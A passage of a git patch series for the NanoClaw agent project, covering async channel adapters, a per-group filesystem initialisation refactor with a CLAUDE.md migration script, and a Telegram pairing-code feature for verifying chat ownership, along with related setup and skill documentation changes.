Bot Service to deliver activities. -If running locally, discuss options for exposing the server — e.g. ngrok (`ngrok http 3000`), Cloudflare Tunnel, or a reverse proxy on a VPS. The resulting public URL becomes the base for `https://your-domain/webhook/teams`. +For local development without a public URL, use a tunnel (e.g., `ngrok http 3000`) and update the messaging endpoint in Azure Bot Configuration. ## Next Steps @@ -75,8 +175,9 @@ Otherwise, run `/manage-channels` to wire this channel to an agent group. ## Channel Info - **type**: `teams` -- **terminology**: Teams has "teams" containing "channels." The bot can also receive direct messages. Teams channels can have threaded replies. -- **how-to-find-id**: Right-click a channel in Teams > "Get link to channel" -- the channel ID is in the URL. Or use the Microsoft Graph API to list channels. -- **supports-threads**: yes -- **typical-use**: Interactive chat -- team channels or direct messages -- **default-isolation**: Same agent group for channels where you're the primary user. Separate agent group for channels with different teams or where different members have different information boundaries. +- **terminology**: Teams has "teams" containing "channels." The bot can also receive DMs (personal scope) and group chat messages. Channels support threaded replies. +- **platform-id-format**: `teams:{base64-encoded-conversation-id}:{base64-encoded-service-url}` — auto-generated by the adapter, not human-readable. Use the auto-created messaging group ID for wiring. +- **how-to-find-id**: Send a message to the bot in the channel. NanoClaw auto-creates a messaging group and logs the platform ID. Use that messaging group ID for wiring. +- **supports-threads**: yes (channels only; DMs and group chats are flat) +- **typical-use**: Team collaboration with the bot in channels; personal assistant via DMs +- **default-isolation**: Separate agent group per team. DMs can share an agent group with your main channel for unified personal memory. From 8676c074488beb6e9775f06e6374b2d1f2cbde1b Mon Sep 17 00:00:00 2001 From: Gabi Simons Date: Mon, 13 Apr 2026 11:09:00 +0000 Subject: [PATCH 127/485] feat(v2): support async channel adapter factories MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Channel adapter factories can now return a Promise, enabling adapters that need async initialization like loading auth state from disk (e.g. WhatsApp reading credentials via useMultiFileAuthState). Existing sync factories are unaffected — await on a sync return is a no-op. All current adapters remain synchronous. Co-Authored-By: Claude Opus 4.6 (1M context) --- src/channels/adapter.ts | 2 +- src/channels/channel-registry.ts | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/channels/adapter.ts b/src/channels/adapter.ts index 4d18a0e..1ae34bc 100644 --- a/src/channels/adapter.ts +++ b/src/channels/adapter.ts @@ -97,7 +97,7 @@ export interface ChannelAdapter { } /** Factory function that creates a channel adapter (returns null if credentials missing). */ -export type ChannelAdapterFactory = () => ChannelAdapter | null; +export type ChannelAdapterFactory = () => ChannelAdapter | Promise | null; /** Registration entry for a channel adapter. */ export interface ChannelRegistration { diff --git a/src/channels/channel-registry.ts b/src/channels/channel-registry.ts index a2981a6..7778cfd 100644 --- a/src/channels/channel-registry.ts +++ b/src/channels/channel-registry.ts @@ -47,7 +47,7 @@ export function getChannelContainerConfig(name: string): ChannelRegistration['co export async function initChannelAdapters(setupFn: (adapter: ChannelAdapter) => ChannelSetup): Promise { for (const [name, registration] of registry) { try { - const adapter = registration.factory(); + const adapter = await registration.factory(); if (!adapter) { log.warn('Channel credentials missing, skipping', { channel: name }); continue; From 2e6dc21748f96b132586e0c4c616230abc0cb2e6 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Mon, 13 Apr 2026 14:17:07 +0300 Subject: [PATCH 128/485] refactor(v2): per-group filesystem init, persistent across spawns MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Each group's on-disk state (CLAUDE.md, .claude-shared/, agent-runner-src/) is now initialized exactly once at group creation and owned by the group forever after. Spawn does only mounts — no copies, no settings.json overwrites, no skill clobbers, no source resyncs. Global memory composition switches from "host reads /workspace/global/CLAUDE.md at bootstrap and stuffs it into systemPrompt.append" to "group CLAUDE.md imports it via @/workspace/global/CLAUDE.md at the top." Edits to global propagate instantly through the existing read-only mount; no copy, no restart. - src/group-init.ts: new initGroupFilesystem(group, opts?) — idempotent, populates groups//, .claude-shared/, agent-runner-src/ only when paths don't already exist. - src/container-runner.ts: buildMounts() calls init defensively at the top (catches existing groups on first spawn after this change), drops the inline settings.json write, skills cpSync loop, and agent-runner-src rm-then-copy. Just mounts now. - src/delivery.ts: create_agent flow uses initGroupFilesystem with optional instructions, replacing the inline mkdirSync + writeFileSync. - container/agent-runner/src/index.ts: drops GLOBAL_CLAUDE_MD reading. systemContext.instructions is now only the runtime-generated destinations addendum. - scripts/migrate-group-claude-md.ts: one-shot migration that prepends the @-import to existing groups' CLAUDE.md. Skips if global doesn't exist or if the @-import is already present (regex match on the @ form to avoid false positives from prose mentions of the path). - groups/main/CLAUDE.md: prepended by the migration. Existing groups need a one-time wipe of their agent-runner-src/ dir so init re-populates from current host source — done locally before this commit. Future host-side updates to container/skills/ or container/agent-runner/src/ won't auto-propagate; that's the trade-off for unconditional persistence and will be covered by host-mediated refresh tools in a follow-up. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/index.ts | 14 ++--- groups/main/CLAUDE.md | 2 + scripts/migrate-group-claude-md.ts | 65 ++++++++++++++++++++ src/container-runner.ts | 57 +++++------------ src/delivery.ts | 14 ++--- src/group-init.ts | 95 +++++++++++++++++++++++++++++ 6 files changed, 188 insertions(+), 59 deletions(-) create mode 100644 scripts/migrate-group-claude-md.ts create mode 100644 src/group-init.ts diff --git a/container/agent-runner/src/index.ts b/container/agent-runner/src/index.ts index c0e431c..ad689da 100644 --- a/container/agent-runner/src/index.ts +++ b/container/agent-runner/src/index.ts @@ -35,7 +35,6 @@ function log(msg: string): void { } const CWD = '/workspace/agent'; -const GLOBAL_CLAUDE_MD = '/workspace/global/CLAUDE.md'; async function main(): Promise { const providerName = (process.env.AGENT_PROVIDER || 'claude') as ProviderName; @@ -44,14 +43,11 @@ async function main(): Promise { log(`Starting v2 agent-runner (provider: ${providerName})`); - // Load global CLAUDE.md as additional system context, then append destinations addendum - let instructions: string | undefined; - if (fs.existsSync(GLOBAL_CLAUDE_MD)) { - instructions = fs.readFileSync(GLOBAL_CLAUDE_MD, 'utf-8'); - log('Loaded global CLAUDE.md'); - } - const addendum = buildSystemPromptAddendum(); - instructions = instructions ? `${instructions}\n\n${addendum}` : addendum; + // Destinations addendum is the only runtime-generated context we inject. + // Global CLAUDE.md is loaded by Claude Code from /workspace/agent/CLAUDE.md + // (which imports /workspace/global/CLAUDE.md via @-syntax) — no need to + // read it manually anymore. + const instructions = buildSystemPromptAddendum(); // Discover additional directories mounted at /workspace/extra/* const additionalDirectories: string[] = []; diff --git a/groups/main/CLAUDE.md b/groups/main/CLAUDE.md index c8c0e9f..d07793f 100644 --- a/groups/main/CLAUDE.md +++ b/groups/main/CLAUDE.md @@ -1,3 +1,5 @@ +@/workspace/global/CLAUDE.md + # Main You are Main, a personal assistant. You help with tasks, answer questions, and can schedule reminders. diff --git a/scripts/migrate-group-claude-md.ts b/scripts/migrate-group-claude-md.ts new file mode 100644 index 0000000..568e381 --- /dev/null +++ b/scripts/migrate-group-claude-md.ts @@ -0,0 +1,65 @@ +/** + * One-shot migration: prepend `@/workspace/global/CLAUDE.md` to each + * existing group's CLAUDE.md so it imports the global memory under the + * new model where the host no longer reads global CLAUDE.md at bootstrap. + * + * - Skips entirely if `groups/global/CLAUDE.md` doesn't exist (nothing + * to import; running the script would just add a broken @-import). + * - Skips any group whose CLAUDE.md already references + * `/workspace/global/CLAUDE.md` (idempotent). + * - Skips groups with no CLAUDE.md (nothing to prepend to). + * + * Usage: npx tsx scripts/migrate-group-claude-md.ts + */ +import fs from 'fs'; +import path from 'path'; + +import { GROUPS_DIR } from '../src/config.js'; + +const GLOBAL_CLAUDE_MD = path.join(GROUPS_DIR, 'global', 'CLAUDE.md'); +const IMPORT_LINE = '@/workspace/global/CLAUDE.md'; +// Must match the @-import syntax exactly — a bare path reference inside +// instructional prose ("you can write to /workspace/global/CLAUDE.md") +// shouldn't count as "already wired." +const IMPORT_REGEX = /@\/workspace\/global\/CLAUDE\.md/; + +if (!fs.existsSync(GLOBAL_CLAUDE_MD)) { + console.error(`No global CLAUDE.md at ${GLOBAL_CLAUDE_MD} — nothing to migrate.`); + process.exit(1); +} + +if (!fs.existsSync(GROUPS_DIR)) { + console.error(`No groups dir at ${GROUPS_DIR} — nothing to migrate.`); + process.exit(1); +} + +const entries = fs.readdirSync(GROUPS_DIR, { withFileTypes: true }); +let updated = 0; +let alreadyWired = 0; +let missingClaudeMd = 0; + +for (const entry of entries) { + if (!entry.isDirectory()) continue; + if (entry.name === 'global') continue; // not a group + + const claudeMd = path.join(GROUPS_DIR, entry.name, 'CLAUDE.md'); + if (!fs.existsSync(claudeMd)) { + console.log(`[skip] ${entry.name}: no CLAUDE.md`); + missingClaudeMd++; + continue; + } + + const body = fs.readFileSync(claudeMd, 'utf-8'); + if (IMPORT_REGEX.test(body)) { + console.log(`[wired] ${entry.name}: already imports ${IMPORT_LINE}`); + alreadyWired++; + continue; + } + + const newBody = `${IMPORT_LINE}\n\n${body}`; + fs.writeFileSync(claudeMd, newBody); + console.log(`[ok] ${entry.name}: prepended import`); + updated++; +} + +console.log(`\nDone. updated=${updated} alreadyWired=${alreadyWired} missingClaudeMd=${missingClaudeMd}`); diff --git a/src/container-runner.ts b/src/container-runner.ts index 34e9096..25b1b34 100644 --- a/src/container-runner.ts +++ b/src/container-runner.ts @@ -13,6 +13,7 @@ import { CONTAINER_IMAGE, DATA_DIR, GROUPS_DIR, IDLE_TIMEOUT, ONECLI_URL, TIMEZO import { CONTAINER_RUNTIME_BIN, hostGatewayArgs, readonlyMountArgs, stopContainer } from './container-runtime.js'; import { getAgentGroup } from './db/agent-groups.js'; import { getMessagingGroup } from './db/messaging-groups.js'; +import { initGroupFilesystem } from './group-init.js'; import { log } from './log.js'; import { validateAdditionalMounts } from './mount-security.js'; import { @@ -164,6 +165,13 @@ export function killContainer(sessionId: string, reason: string): void { } function buildMounts(agentGroup: AgentGroup, session: Session): VolumeMount[] { + // Per-group filesystem state lives forever after first creation. Init is + // idempotent: it only writes paths that don't already exist, so this call + // is a no-op for groups that have spawned before. Pulling in upstream + // built-in skill or agent-runner source updates is an explicit operation + // (host-mediated tools), not something the spawn path does silently. + initGroupFilesystem(agentGroup); + const mounts: VolumeMount[] = []; const projectRoot = process.cwd(); const sessDir = sessionDir(agentGroup.id, session.id); @@ -173,59 +181,24 @@ function buildMounts(agentGroup: AgentGroup, session: Session): VolumeMount[] { mounts.push({ hostPath: sessDir, containerPath: '/workspace', readonly: false }); // Agent group folder at /workspace/agent - fs.mkdirSync(groupDir, { recursive: true }); mounts.push({ hostPath: groupDir, containerPath: '/workspace/agent', readonly: false }); - // Global memory directory + // Global memory directory — read-only for non-admin so the @import + // in each group's CLAUDE.md can resolve it without risk of being + // overwritten by an agent in some other group. const globalDir = path.join(GROUPS_DIR, 'global'); if (fs.existsSync(globalDir)) { mounts.push({ hostPath: globalDir, containerPath: '/workspace/global', readonly: !agentGroup.is_admin }); } - // Claude sessions directory (per agent group, shared across sessions) + // Per-group .claude-shared at /home/node/.claude (Claude state, settings, + // skills — initialized once at group creation, persistent thereafter) const claudeDir = path.join(DATA_DIR, 'v2-sessions', agentGroup.id, '.claude-shared'); - fs.mkdirSync(claudeDir, { recursive: true }); - const settingsFile = path.join(claudeDir, 'settings.json'); - if (!fs.existsSync(settingsFile)) { - fs.writeFileSync( - settingsFile, - JSON.stringify( - { - env: { - CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: '1', - CLAUDE_CODE_ADDITIONAL_DIRECTORIES_CLAUDE_MD: '1', - CLAUDE_CODE_DISABLE_AUTO_MEMORY: '0', - }, - }, - null, - 2, - ) + '\n', - ); - } - - // Sync container skills - const skillsSrc = path.join(projectRoot, 'container', 'skills'); - const skillsDst = path.join(claudeDir, 'skills'); - if (fs.existsSync(skillsSrc)) { - for (const skillDir of fs.readdirSync(skillsSrc)) { - const srcDir = path.join(skillsSrc, skillDir); - if (fs.statSync(srcDir).isDirectory()) { - fs.cpSync(srcDir, path.join(skillsDst, skillDir), { recursive: true }); - } - } - } mounts.push({ hostPath: claudeDir, containerPath: '/home/node/.claude', readonly: false }); - // Agent-runner source (per agent group, recompiled on container startup). - // Clear the destination before copying so files deleted or renamed - // upstream don't linger — tsc picks them up via `include: ["src/**/*"]` - // and a single stale file will fail the compile. - const agentRunnerSrc = path.join(projectRoot, 'container', 'agent-runner', 'src'); + // Per-group agent-runner source at /app/src (initialized once at group + // creation, persistent thereafter — agents can modify their runner) const groupRunnerDir = path.join(DATA_DIR, 'v2-sessions', agentGroup.id, 'agent-runner-src'); - if (fs.existsSync(agentRunnerSrc)) { - fs.rmSync(groupRunnerDir, { recursive: true, force: true }); - fs.cpSync(agentRunnerSrc, groupRunnerDir, { recursive: true }); - } mounts.push({ hostPath: groupRunnerDir, containerPath: '/app/src', readonly: false }); // Admin: mount project root read-only diff --git a/src/delivery.ts b/src/delivery.ts index e884efb..a8466b9 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -51,8 +51,9 @@ import { writeSystemResponse, } from './session-manager.js'; import { resetContainerIdleTimer, wakeContainer } from './container-runner.js'; +import { initGroupFilesystem } from './group-init.js'; import type { OutboundFile } from './channels/adapter.js'; -import type { Session } from './types.js'; +import type { AgentGroup, Session } from './types.js'; const ACTIVE_POLL_MS = 1000; const SWEEP_POLL_MS = 60_000; @@ -509,7 +510,7 @@ async function handleSystemAction( const agentGroupId = `ag-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; const now = new Date().toISOString(); - createAgentGroup({ + const newGroup: AgentGroup = { id: agentGroupId, name, folder, @@ -517,12 +518,9 @@ async function handleSystemAction( agent_provider: null, container_config: null, created_at: now, - }); - - fs.mkdirSync(groupPath, { recursive: true }); - if (instructions) { - fs.writeFileSync(path.join(groupPath, 'CLAUDE.md'), instructions); - } + }; + createAgentGroup(newGroup); + initGroupFilesystem(newGroup, { instructions: instructions ?? undefined }); // Insert bidirectional destination rows (= ACL grants). // Creator refers to child by the name it chose; child refers to creator as "parent". diff --git a/src/group-init.ts b/src/group-init.ts new file mode 100644 index 0000000..d2f6332 --- /dev/null +++ b/src/group-init.ts @@ -0,0 +1,95 @@ +import fs from 'fs'; +import path from 'path'; + +import { DATA_DIR, GROUPS_DIR } from './config.js'; +import { log } from './log.js'; +import type { AgentGroup } from './types.js'; + +const GLOBAL_CLAUDE_IMPORT = '@/workspace/global/CLAUDE.md'; + +const DEFAULT_SETTINGS_JSON = + JSON.stringify( + { + env: { + CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: '1', + CLAUDE_CODE_ADDITIONAL_DIRECTORIES_CLAUDE_MD: '1', + CLAUDE_CODE_DISABLE_AUTO_MEMORY: '0', + }, + }, + null, + 2, + ) + '\n'; + +/** + * Initialize the on-disk filesystem state for an agent group. Idempotent — + * every step is gated on the target not already existing, so re-running on + * an already-initialized group is a no-op. + * + * Called once per group lifetime: at creation, or defensively from + * `buildMounts()` for groups that pre-date this code path. After init, the + * host never overwrites any of these paths automatically — agents own them. + * To pull in upstream changes, use the host-mediated reset/refresh tools. + */ +export function initGroupFilesystem( + group: AgentGroup, + opts?: { instructions?: string }, +): void { + const projectRoot = process.cwd(); + const initialized: string[] = []; + + // 1. groups// — group memory + working dir + const groupDir = path.resolve(GROUPS_DIR, group.folder); + if (!fs.existsSync(groupDir)) { + fs.mkdirSync(groupDir, { recursive: true }); + initialized.push('groupDir'); + } + + // groups//CLAUDE.md — written once, then owned by the group + const claudeMdFile = path.join(groupDir, 'CLAUDE.md'); + if (!fs.existsSync(claudeMdFile)) { + const body = [GLOBAL_CLAUDE_IMPORT, '', opts?.instructions ?? `# ${group.name}`].join('\n') + '\n'; + fs.writeFileSync(claudeMdFile, body); + initialized.push('CLAUDE.md'); + } + + // 2. data/v2-sessions//.claude-shared/ — Claude state + per-group skills + const claudeDir = path.join(DATA_DIR, 'v2-sessions', group.id, '.claude-shared'); + if (!fs.existsSync(claudeDir)) { + fs.mkdirSync(claudeDir, { recursive: true }); + initialized.push('.claude-shared'); + } + + const settingsFile = path.join(claudeDir, 'settings.json'); + if (!fs.existsSync(settingsFile)) { + fs.writeFileSync(settingsFile, DEFAULT_SETTINGS_JSON); + initialized.push('settings.json'); + } + + const skillsDst = path.join(claudeDir, 'skills'); + if (!fs.existsSync(skillsDst)) { + const skillsSrc = path.join(projectRoot, 'container', 'skills'); + if (fs.existsSync(skillsSrc)) { + fs.cpSync(skillsSrc, skillsDst, { recursive: true }); + initialized.push('skills/'); + } + } + + // 3. data/v2-sessions//agent-runner-src/ — per-group source copy + const groupRunnerDir = path.join(DATA_DIR, 'v2-sessions', group.id, 'agent-runner-src'); + if (!fs.existsSync(groupRunnerDir)) { + const agentRunnerSrc = path.join(projectRoot, 'container', 'agent-runner', 'src'); + if (fs.existsSync(agentRunnerSrc)) { + fs.cpSync(agentRunnerSrc, groupRunnerDir, { recursive: true }); + initialized.push('agent-runner-src/'); + } + } + + if (initialized.length > 0) { + log.info('Initialized group filesystem', { + group: group.name, + folder: group.folder, + id: group.id, + steps: initialized, + }); + } +} From af13c23a5aa16b35fa94b7248fa74092b31e1994 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Mon, 13 Apr 2026 14:17:55 +0300 Subject: [PATCH 129/485] style: format group-init.ts signature Prettier reformat applied by the format hook after the previous commit. Co-Authored-By: Claude Opus 4.6 (1M context) --- src/group-init.ts | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/src/group-init.ts b/src/group-init.ts index d2f6332..6419632 100644 --- a/src/group-init.ts +++ b/src/group-init.ts @@ -30,10 +30,7 @@ const DEFAULT_SETTINGS_JSON = * host never overwrites any of these paths automatically — agents own them. * To pull in upstream changes, use the host-mediated reset/refresh tools. */ -export function initGroupFilesystem( - group: AgentGroup, - opts?: { instructions?: string }, -): void { +export function initGroupFilesystem(group: AgentGroup, opts?: { instructions?: string }): void { const projectRoot = process.cwd(); const initialized: string[] = []; From 201758968330515a07c2aea5847309e90c7e9890 Mon Sep 17 00:00:00 2001 From: Koshkoshinsk Date: Mon, 13 Apr 2026 12:27:02 +0000 Subject: [PATCH 130/485] feat(telegram): self-contained pairing for chat ownership verification BotFather issues bot tokens with no user binding, so anyone who guesses the bot's username can DM it and get registered as a channel. Pairing closes that gap: setup issues a one-time 4-digit code, the operator echoes it back from the chat they want to register, and the inbound interceptor binds admin_user_id before the message reaches the router. - src/channels/telegram-pairing.ts: JSON-backed store with createPairing, tryConsume, getStatus, waitForPairing (fs.watch + poll fallback) - src/channels/telegram.ts: wraps bridge.setup with an onInbound interceptor that consumes pairing codes and upserts messaging_groups - setup/pair-telegram.ts: CLI step issues a code and waits up to 5 min for the operator to echo it back, emitting PLATFORM_ID/IS_GROUP/ADMIN_USER_ID - Skill docs: /setup reorders mounts -> service -> wire (pairing needs a live polling adapter); /manage-channels and /add-telegram-v2 use pairing instead of asking the user to discover chat IDs All other channels still bind admin via install-time identity (OAuth/QR/token); pairing is Telegram-only. The bridge, router, and other adapters are untouched. --- .claude/skills/add-telegram-v2/SKILL.md | 2 +- .claude/skills/manage-channels/SKILL.md | 10 +- .claude/skills/setup/SKILL.md | 26 +-- setup/index.ts | 1 + setup/pair-telegram.ts | 97 +++++++++ src/channels/telegram-pairing.test.ts | 166 ++++++++++++++ src/channels/telegram-pairing.ts | 276 ++++++++++++++++++++++++ src/channels/telegram.ts | 124 ++++++++++- 8 files changed, 679 insertions(+), 23 deletions(-) create mode 100644 setup/pair-telegram.ts create mode 100644 src/channels/telegram-pairing.test.ts create mode 100644 src/channels/telegram-pairing.ts diff --git a/.claude/skills/add-telegram-v2/SKILL.md b/.claude/skills/add-telegram-v2/SKILL.md index b767e55..fc18cc5 100644 --- a/.claude/skills/add-telegram-v2/SKILL.md +++ b/.claude/skills/add-telegram-v2/SKILL.md @@ -68,7 +68,7 @@ Otherwise, run `/manage-channels` to wire this channel to an agent group. - **type**: `telegram` - **terminology**: Telegram calls them "groups" and "chats." A "group" has multiple members; a "chat" is a 1:1 conversation with the bot. -- **how-to-find-id**: Send a message in the group/chat, then visit `https://api.telegram.org/bot/getUpdates` — the `chat.id` field is the platform ID. Group IDs are negative numbers. +- **how-to-find-id**: Do NOT ask the user for a chat ID. Telegram registration uses pairing — run `npx tsx setup/index.ts --step pair-telegram -- --intent `, show the user the 4-digit `CODE` from the `PAIR_TELEGRAM_ISSUED` block, and tell them to send `@ CODE` from the chat they want to register (DM the bot for `main`, post in the group otherwise). The step waits up to 5 minutes and emits a `PAIR_TELEGRAM` block with `PLATFORM_ID`, `IS_GROUP`, and `ADMIN_USER_ID` once the user echoes the code. The service must be running for this to work (the polling adapter is what observes the code). - **supports-threads**: no - **typical-use**: Interactive chat — direct messages or small groups - **default-isolation**: Same agent group if you're the only participant across multiple chats. Separate agent group if different people are in different groups. diff --git a/.claude/skills/manage-channels/SKILL.md b/.claude/skills/manage-channels/SKILL.md index ee68656..2e656ea 100644 --- a/.claude/skills/manage-channels/SKILL.md +++ b/.claude/skills/manage-channels/SKILL.md @@ -17,8 +17,8 @@ Categorize channels as: **wired** (has DB entities), **configured but unwired** 1. Ask the assistant name (default: project name or "Andy") 2. Ask which channel is the primary/admin channel -3. Ask for the platform ID — read the channel's SKILL.md `## Channel Info` > `how-to-find-id` to guide them -4. Register: +3. **Telegram special case:** if the chosen channel is `telegram`, do not ask for an ID. Run `npx tsx setup/index.ts --step pair-telegram -- --intent main`, show the user the 4-digit CODE from the `PAIR_TELEGRAM_ISSUED` block, and tell them to DM the bot with `@ CODE` from the chat they want as their main. Wait for the `PAIR_TELEGRAM` block — `PLATFORM_ID`, `IS_GROUP`, `ADMIN_USER_ID` come back from there. Skip step 4 of this list (the messaging group is already created with admin binding); instead run only the agent-group + wiring portion via `setup --step register` with the returned `PLATFORM_ID`. +4. Otherwise (non-Telegram), ask for the platform ID — read the channel's SKILL.md `## Channel Info` > `how-to-find-id` to guide them, then register: ```bash npx tsx setup/index.ts --step register -- \ @@ -64,10 +64,8 @@ For separate agents, also ask for a folder name and optionally a different assis When adding another group/chat on an already-configured platform (e.g. a second Telegram group): -1. Read the channel's SKILL.md `## Channel Info` for terminology and how-to-find-id -2. Ask for the new group/chat ID -3. Ask the isolation question -4. Register — no package or credential changes needed +1. **Telegram:** ask the isolation question first to determine intent (`wire-to:` for an existing agent, `new-agent:` for a fresh one). Run `npx tsx setup/index.ts --step pair-telegram -- --intent `, show the CODE, and tell the user to post `@ CODE` in the target group (or DM the bot for a private chat). Wait for the `PAIR_TELEGRAM` block, then run `setup --step register` with the returned `PLATFORM_ID` and the chosen folder/session-mode. The messaging group row is already created with `admin_user_id` set — `register` only needs to add the wiring. +2. **Other channels:** read the channel's SKILL.md `## Channel Info` for terminology and how-to-find-id. Ask for the new group/chat ID, ask the isolation question, then register. No package or credential changes needed. ## Change Wiring diff --git a/.claude/skills/setup/SKILL.md b/.claude/skills/setup/SKILL.md index 205b806..0543e59 100644 --- a/.claude/skills/setup/SKILL.md +++ b/.claude/skills/setup/SKILL.md @@ -288,17 +288,6 @@ npm install && npm run build If the build fails, read the error output and fix it (usually a missing dependency). Then continue to step 5a. -## 5a. Wire Channels to Agent Groups - -Invoke `/manage-channels` to wire the installed channels to agent groups. This step: -1. Creates the agent group(s) and assigns a name to the assistant -2. Asks for each channel's platform-specific ID (guided by channel-specific instructions) -3. Decides the isolation level — whether channels share an agent, session, or are fully separate - -The `/manage-channels` skill reads each channel's `## Channel Info` section from its SKILL.md for platform-specific guidance (terminology, how to find IDs, recommended isolation). - -**This step is required.** Without it, channels are installed but not wired — messages will be silently dropped because the router has no agent group to route to. - ## 6. Mount Allowlist AskUserQuestion: Agent access to external directories? @@ -336,6 +325,19 @@ Replace `USERNAME` with the actual username (from `whoami`). Run the two `sudo` - Linux: check `systemctl --user status nanoclaw`. - Re-run the service step after fixing. +## 7a. Wire Channels to Agent Groups + +The service is now running, so polling-based adapters (Telegram) can observe inbound messages — required for pairing. + +Invoke `/manage-channels` to wire the installed channels to agent groups. This step: +1. Creates the agent group(s) and assigns a name to the assistant +2. Resolves each channel's platform-specific ID (Telegram via pairing code; other channels via the platform's own ID lookup) +3. Decides the isolation level — whether channels share an agent, session, or are fully separate + +The `/manage-channels` skill reads each channel's `## Channel Info` section from its SKILL.md for platform-specific guidance (terminology, how to find IDs, recommended isolation). + +**This step is required.** Without it, channels are installed but not wired — messages will be silently dropped because the router has no agent group to route to. + ## 8. Verify Run `npx tsx setup/index.ts --step verify` and parse the status block. @@ -345,7 +347,7 @@ Run `npx tsx setup/index.ts --step verify` and parse the status block. - SERVICE=not_found → re-run step 7 - CREDENTIALS=missing → re-run step 4 (Docker: check `onecli secrets list`; Apple Container: check `.env` for credentials) - CHANNEL_AUTH shows `not_found` for any channel → re-invoke that channel's skill (e.g. `/add-telegram`) -- REGISTERED_GROUPS=0 → re-invoke `/manage-channels` from step 5a +- REGISTERED_GROUPS=0 → re-invoke `/manage-channels` from step 7a - MOUNT_ALLOWLIST=missing → `npx tsx setup/index.ts --step mounts -- --empty` Tell user to test: send a message in their registered chat. Show: `tail -f logs/nanoclaw.log` diff --git a/setup/index.ts b/setup/index.ts index 9975022..0e0db7b 100644 --- a/setup/index.ts +++ b/setup/index.ts @@ -14,6 +14,7 @@ const STEPS: Record< container: () => import('./container.js'), groups: () => import('./groups.js'), register: () => import('./register.js'), + 'pair-telegram': () => import('./pair-telegram.js'), mounts: () => import('./mounts.js'), service: () => import('./service.js'), verify: () => import('./verify.js'), diff --git a/setup/pair-telegram.ts b/setup/pair-telegram.ts new file mode 100644 index 0000000..21c8467 --- /dev/null +++ b/setup/pair-telegram.ts @@ -0,0 +1,97 @@ +/** + * Step: pair-telegram — issue a one-time pairing code and wait for the + * operator to send `@botname CODE` from the chat they want to register. + * + * On success, prints platformId / isGroup / adminUserId / intent. The caller + * (skill) then runs `setup --step register` with those values. + * + * The service must already be running so the telegram adapter is polling. + */ +import { initDb } from '../src/db/connection.js'; +import { runMigrations } from '../src/db/migrations/index.js'; +import { DATA_DIR } from '../src/config.js'; +import path from 'path'; + +import { + createPairing, + waitForPairing, + type PairingIntent, +} from '../src/channels/telegram-pairing.js'; +import { emitStatus } from './status.js'; + +interface Args { + intent: PairingIntent; + ttlMs: number; +} + +function parseArgs(args: string[]): Args { + let intent: PairingIntent = 'main'; + let ttlMs = 5 * 60 * 1000; + for (let i = 0; i < args.length; i++) { + switch (args[i]) { + case '--intent': { + const raw = args[++i] || 'main'; + if (raw === 'main') { + intent = 'main'; + } else if (raw.startsWith('wire-to:')) { + intent = { kind: 'wire-to', folder: raw.slice('wire-to:'.length) }; + } else if (raw.startsWith('new-agent:')) { + intent = { kind: 'new-agent', folder: raw.slice('new-agent:'.length) }; + } else { + throw new Error(`Unknown intent: ${raw}`); + } + break; + } + case '--ttl-ms': + ttlMs = parseInt(args[++i] || '300000', 10); + break; + } + } + return { intent, ttlMs }; +} + +function intentToString(intent: PairingIntent): string { + if (intent === 'main') return 'main'; + return `${intent.kind}:${intent.folder}`; +} + +export async function run(args: string[]): Promise { + const { intent, ttlMs } = parseArgs(args); + + // Pairing reads/writes its JSON store under DATA_DIR; the DB isn't strictly + // required for the pairing primitive itself, but the inbound interceptor + // (running in the live service) needs it. Touch it here so a fresh install + // doesn't blow up on the first match. + const db = initDb(path.join(DATA_DIR, 'v2.db')); + runMigrations(db); + + const record = await createPairing(intent, { ttlMs }); + + // Tell the user what to do. The skill prints this as user-facing text. + emitStatus('PAIR_TELEGRAM_ISSUED', { + CODE: record.code, + INTENT: intentToString(intent), + EXPIRES_AT: record.expiresAt, + INSTRUCTIONS: `Send "@ ${record.code}" from the Telegram chat you want to register.`, + }); + + try { + const consumed = await waitForPairing(record.code, { timeoutMs: ttlMs }); + emitStatus('PAIR_TELEGRAM', { + STATUS: 'success', + CODE: record.code, + INTENT: intentToString(consumed.intent), + PLATFORM_ID: consumed.consumed!.platformId, + IS_GROUP: consumed.consumed!.isGroup, + ADMIN_USER_ID: consumed.consumed!.adminUserId ?? '', + }); + } catch (err) { + const message = err instanceof Error ? err.message : String(err); + emitStatus('PAIR_TELEGRAM', { + STATUS: 'failed', + CODE: record.code, + ERROR: message, + }); + process.exit(2); + } +} diff --git a/src/channels/telegram-pairing.test.ts b/src/channels/telegram-pairing.test.ts new file mode 100644 index 0000000..0af26b0 --- /dev/null +++ b/src/channels/telegram-pairing.test.ts @@ -0,0 +1,166 @@ +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; +import fs from 'fs'; +import path from 'path'; +import os from 'os'; + +vi.mock('../log.js', () => ({ log: { info: vi.fn(), warn: vi.fn(), error: vi.fn(), debug: vi.fn() } })); + +import { + createPairing, + tryConsume, + getStatus, + waitForPairing, + extractCode, + extractAddressedText, + _setStorePathForTest, + _resetForTest, +} from './telegram-pairing.js'; + +let tmpDir: string; + +beforeEach(() => { + tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'tg-pair-')); + _setStorePathForTest(path.join(tmpDir, 'pairings.json')); +}); + +afterEach(() => { + _resetForTest(); + _setStorePathForTest(null); + fs.rmSync(tmpDir, { recursive: true, force: true }); +}); + +describe('extractAddressedText', () => { + it('strips @botname prefix', () => { + expect(extractAddressedText('@nanobot 1234', 'nanobot')).toBe('1234'); + }); + it('is case-insensitive', () => { + expect(extractAddressedText('@NanoBot hello', 'nanobot')).toBe('hello'); + }); + it('returns null when not addressed', () => { + expect(extractAddressedText('hello 1234', 'nanobot')).toBeNull(); + }); + it('returns null when address is mid-text', () => { + expect(extractAddressedText('hi @nanobot 1234', 'nanobot')).toBeNull(); + }); +}); + +describe('extractCode', () => { + it('finds 4-digit code after @botname', () => { + expect(extractCode('@nanobot 0042', 